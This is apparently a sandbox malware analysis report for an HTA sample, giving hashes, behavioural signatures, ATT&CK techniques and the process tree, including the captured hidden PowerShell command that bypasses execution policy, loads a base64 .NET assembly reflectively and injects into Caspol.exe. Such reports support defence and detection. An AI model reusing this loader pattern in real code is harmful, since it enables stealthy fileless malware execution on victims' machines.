5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0

General

Target
gdprocess.hta
Size 2KB
Sample260928-xayzza1dlf
SHA256 5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0
MD5 61e0e095d6d85bb9e34f23f911c0545d
SHA1 e8949bcccfa6c42ccc2f0673a06931f517ca8759
SHA512 a9bf135e8d79cb1e4124d0cc1efa66b3379f23a77efdc5d4ee1713a03693ee1e41b0a098fea19ab99dee36f7daf5620b96af3eda1ce1b9c39a793e8ff219ce25
TLSH
T152414B4352EE1108B1F71B8CA97362750BB7BE05693C899C14DC290D8FE3E5588A2BF7
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	1576	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4988	mshta.exe
8	2296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2296 set thread context of 1196	2296	powershell.exe	96

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
1196	Caspol.exe
1196	Caspol.exe
1196	Caspol.exe
1196	Caspol.exe
1196	Caspol.exe
1196	Caspol.exe
1196	Caspol.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 3440	2296	powershell.exe	95
PID 2296 wrote to memory of 1196	2296	powershell.exe	96
PID 2296 wrote to memory of 1196	2296	powershell.exe	96
PID 2296 wrote to memory of 1196	2296	powershell.exe	96

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\gdprocess.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:4988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$meltable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dolabrate=[System.IO.MemoryStream][Convert]::FromBase64String($meltable);[System.Reflection.Assembly]::Load($dolabrate.ToArray())|Out-Null;[Win32.RMP.Cls_jbyAEZcyBu]::Met_jbyAEZcyBurG('87eRJFIiH7q87fzV4DM8QbshCC8GpXCBeW2pGGcI0njQpLRt840LMyOYJ28EArE4BpbGsNcHDKCU/wBsLkLe1w==','','p5dHR2Ttg/DYa7MVRimcNPkjO/tkenEiIZSCADYA+6JvwSF2k+ZAEQOGiCU/NXXe','5O7bFUhRc4PuMYhMbko4KT6Gij1CSIEqaZwqsfOx/AA=','x3Qz9SbeBm3b1f0S8qfjxEmGM+XueOY86lAzQ8U++zQ=','','gspqOZIIjG3iYlKrEqU9anPYMGycGFVJB5UeuSLFngA=','','yWAkvCqIKiQhAUtHl/jxUuwM4Rwwzs0pVGDt4hRFZxE=','btzqgv/J4dk5JO6nsOqCwpOHRn9Mq0oo1FEuXjM6a0Qhmdbc0jUZ7Z/K4bZ7rv93','u9rTfg+vapn9lb9hUyTApZUjnCT4xjQxgiyzX1fd3Es=','CTgrGLjMCweNwty43cbVrM4h6WVnMhNIvMSpXRhlm+0=','Pf8NCiNHJymtrUFsvg3o5dwP2Z4Ba5VmpEsuTKmKbyk=','','6Q19Y5f3li1GWQ73b98V6yv2CSdYDxmjzb1P1yYLBFY=','n4XggqGo4YXCV48lrDDWkh7wHUvSlQZspsRFAdgMUVI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:3440
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_c5cda0vq.zxv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c5cda0vq.zxv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1196-10-0x0000000000400000-0x0000000000446000-memory.dmp

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memory/2296-0-0x000002B5C26E0000-0x000002B5C26F0000-memory.dmp

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memory/2296-6-0x000002B5C4900000-0x000002B5C4922000-memory.dmp

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memory/2296-9-0x000002B5C48E0000-0x000002B5C4902000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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